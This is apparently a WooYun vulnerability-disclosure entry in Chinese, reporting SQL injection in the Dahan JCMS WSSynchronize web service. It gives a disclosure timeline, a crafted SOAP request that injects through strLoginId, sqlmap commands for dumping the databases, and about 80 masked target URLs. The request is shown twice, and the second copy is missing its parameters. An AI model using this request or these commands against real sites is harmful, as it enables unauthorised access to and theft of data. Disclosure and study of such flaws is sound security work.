大汉jcms多处SQL注入一(附80个案例)

发表于 2014年12月31日
WooYun漏洞库

漏洞概要

缺陷编号：WooYun-2014-088684

漏洞标题：大汉jcms多处SQL注入一(附80个案例)

相关厂商：cncert国家互联网应急中心

漏洞作者：路人甲

提交时间：2014-12-31 11:05

公开时间：2015-04-02 11:21

漏洞类型：SQL注射漏洞

危害等级：高

自评Rank：20

漏洞状态：已交由第三方合作机构(cncert国家互联网应急中心)处理

Tags标签：

漏洞详情

披露状态：

2014-12-31: 细节已通知厂商并且等待厂商处理中
2015-01-03: 厂商主动忽略漏洞，细节向第三方安全合作伙伴开放（绿盟科技、唐朝安全巡航、无声信息）
2015-02-27: 细节向核心白帽子及相关领域专家公开
2015-03-09: 细节向普通白帽子公开
2015-03-19: 细节向实习白帽子公开
2015-04-02: 细节向公众公开

简要描述：

偶然间再次看到大汉网络的jcms，搜索了下该系统的漏洞，真可谓千疮百孔，而且居然全部忽略！我去!

详细说明：

不想多给出分析，直接给出漏洞点/jcms/services/WSSynchronize该服务的多个方法存在漏洞，比如wsGetWeb、wsGetColumnStyle、wsSynchronize、wsSynchronizeWithPath等，参数也是多个如，strLoginId、hasZip、strWebIds等这里用wsGetWeb方法做漏洞证明：

这里用WSockExpert v0.7抓包，并保存为wooyun.txt**.**.**.**

**.**.**.**

POST /jcms/services/WSSynchronize?wsdl HTTP/1.1<br>
Accept-Encoding: gzip,deflate<br>
Content-Type: text/xml;charset=UTF-8<br>
SOAPAction: ""<br>
Content-Length: 121<br>
Host: **.**.**.**<br>
Connection: Keep-Alive<br>
User-Agent: google<soapenv:Envelope xmlns:xsi="http://**.**.**.**/2001/XMLSchema-instance" xmlns:xsd="http://**.**.**.**/2001/XMLSchema"xmlns:soapenv="http://**.**.**.**/soap/envelope/" xmlns:rec="http://receive.blf.jcms"><br>
   <soapenv:Header/><br>
   <soapenv:Body><br>
      <rec:wsGetWeb soapenv:encodingStyle="http://**.**.**.**/soap/encoding/"><br>
         <strWebIds xsi:type="xsd:string">c</strWebIds><br>
         <strLoginId xsi:type="xsd:string">a*</strLoginId><br>
         <strPwd xsi:type="xsd:string">a</strPwd><br>
         <strKey xsi:type="xsd:string">a</strKey><br>
      </rec:wsGetWeb><br>
   </soapenv:Body><br>
</soapenv:Envelope>

POST /jcms/services/WSSynchronize?wsdl HTTP/1.1

Accept-Encoding: gzip,deflate

Content-Type: text/xml;charset=UTF-8

SOAPAction: ""

Content-Length: 121

Host: **.**.**.**

Connection: Keep-Alive

User-Agent: google<soapenv:Envelope xmlns:xsi="http://**.**.**.**/2001/XMLSchema-instance" xmlns:xsd="http://**.**.**.**/2001/XMLSchema"xmlns:soapenv="http://**.**.**.**/soap/envelope/" xmlns:rec="http://receive.blf.jcms">

<soapenv:Header/>

<soapenv:Body>

<rec:wsGetWeb soapenv:encodingStyle="http://**.**.**.**/soap/encoding/">

</rec:wsGetWeb>

</soapenv:Body>

</soapenv:Envelope>

可以直接用SQLMAP就可以跑出数据 sqlmap.py -r wooyun.txt

sqlmap.py -r wooyun.txt --dbs

附上案例：http://**.**.**.**/jcms/services/WSSynchronize?wsdlhttp://**.**.**.**/jcms/services/WSSynchronize?wsdlhttp://**.**.**.**/jcms/service/WSSynchronize?wsdlhttp://**.**.**.**/jcms/service/WSSynchronize?wsdlhttp://**.**.**.**/jcms/service/WSSynchronize?wsdlhttp://**.**.**.**/jcms/service/WSSynchronize?wsdlhttp://**.**.**.**/jcms/service/WSSynchronize?wsdlhttp://**.**.**.**/jcms/services/WSSynchronize?wsdlhttp://**.**.**.**/jcms/service/WSSynchronize?wsdlhttp://**.**.**.**/jcms/service/WSSynchronize?wsdlhttp://**.**.**.**/jcms/service/WSSynchronize?wsdlhttp://**.**.**.**/jcms/services/WSSynchronize?wsdlhttp://**.**.**.**/jcms/services/WSSynchronize?wsdlhttp://**.**.**.**/jcms/services/WSSynchronize?wsdlhttp://**.**.**.**/jcms/services/WSSynchronize?wsdlhttp://**.**.**.**/jcms/services/WSSynchronize?wsdlhttp://**.**.**.**/jcms/services/WSSynchronize?wsdlhttp://**.**.**.**/jcms/service/WSSynchronize?wsdlhttp://**.**.**.**/jcms/service/WSSynchronize?wsdlhttp://**.**.**.**/jcms2.5//services/WSSynchronize?wsdlhttp://**.**.**.**/jcms/services/WSSynchronize?wsdlhttp://**.**.**.**/jcms/services/WSSynchronize?wsdlhttp://**.**.**.**//jcms/services/WSSynchronize?wsdlhttp://**.**.**.**/jcms/services/WSSynchronize?wsdlhttp://**.**.**.**/jcms/services/WSSynchronize?wsdlhttp://**.**.**.**/jcms/services/WSSynchronize?wsdlhttp://**.**.**.**/jcms/services/WSSynchronize?wsdlhttp://**.**.**.**/jcms/services/WSSynchronize?wsdlhttp://**.**.**.**/jcms/services/WSSynchronize?wsdlhttp://**.**.**.**/jcms/services/WSSynchronize?wsdlhttp://**.**.**.**/jcms/services/WSSynchronize?wsdlhttp://**.**.**.**/jcms/services/WSSynchronize?wsdlhttp://**.**.**.**/jcms/services/WSSynchronize?wsdlhttp://**.**.**.**/jcms/services/WSSynchronize?wsdlhttp://**.**.**.**/jcms/services/WSSynchronize?wsdlhttp://**.**.**.**/jcms/services/WSSynchronize?wsdlhttp://**.**.**.**/jcms/services/WSSynchronize?wsdlhttp://**.**.**.**/jcms/service/WSSynchronize?wsdlhttp://**.**.**.**/jcms/services/WSSynchronize?wsdlhttp://**.**.**.**/jcms/services/WSSynchronize?wsdlhttp://**.**.**.**/jcms/services/WSSynchronize?wsdlhttp://**.**.**.**/jcms/services/WSSynchronize?wsdlhttp://**.**.**.**/jcms/services/WSSynchronize?wsdlhttp://**.**.**.**/jcms2.5/services/WSSynchronize?wsdlhttp://**.**.**.**/jcms/services/WSSynchronize?wsdlhttp://**.**.**.**/jcms25/service/WSSynchronize?wsdlhttp://**.**.**.**/jcms24/service/WSSynchronize?wsdlhttp://**.**.**.**/jcms/services/WSSynchronize?wsdlhttp://**.**.**.**/jcms/service/WSSynchronize?wsdlhttp://**.**.**.**/jcms/service/WSSynchronize?wsdlhttp://**.**.**.**/jcms/service/WSSynchronize?wsdlhttp://**.**.**.**/jcms/service/WSSynchronize?wsdlhttp://**.**.**.**/jcms/service/WSSynchronize?wsdlhttp://**.**.**.**/jcms/service/WSSynchronize?wsdlhttp://**.**.**.**/jcms/service/WSSynchronize?wsdlhttp://**.**.**.**/jcms/service/WSSynchronize?wsdlhttp://**.**.**.**/jcms/service/WSSynchronize?wsdlhttp://**.**.**.**/jcms/service/WSSynchronize?wsdlhttp://**.**.**.**/jcms/service/WSSynchronize?wsdlhttp://**.**.**.**/jcms/service/WSSynchronize?wsdlhttp://**.**.**.**/jcms/service/WSSynchronize?wsdlhttp://**.**.**.**/jcms/service/WSSynchronize?wsdlhttp://**.**.**.**/jcms/service/WSSynchronize?wsdlhttp://**.**.**.**/jcms/service/WSSynchronize?wsdlhttp://**.**.**.**/jcms/service/WSSynchronize?wsdlhttp://**.**.**.**/jcms/service/WSSynchronize?wsdlhttp://**.**.**.**/jcms/service/WSSynchronize?wsdlhttp://**.**.**.**/jcms/service/WSSynchronize?wsdlhttp://**.**.**.**/jcms/service/WSSynchronize?wsdlhttp://**.**.**.**/jcms/services/WSSynchronize?wsdlhttp://**.**.**.**/jcms/services/WSSynchronize?wsdlhttp://**.**.**.**/jcms/services/WSSynchronize?wsdlhttp://**.**.**.**/jcms/service/WSSynchronize?wsdlhttp://**.**.**.**/jcms/service/WSSynchronize?wsdlhttp://**.**.**.**/jcms/services/WSSynchronize?wsdlhttp://**.**.**.**/jcms/services/WSSynchronize?wsdlhttp://**.**.**.**/jcms/service/WSSynchronize?wsdlhttp://**.**.**.**/jcms/service/WSSynchronize?wsdlhttp://**.**.**.**/jcms/services/WSSynchronize?wsdlhttp://**.**.**.**/jcms/services/WSSynchronize?wsdl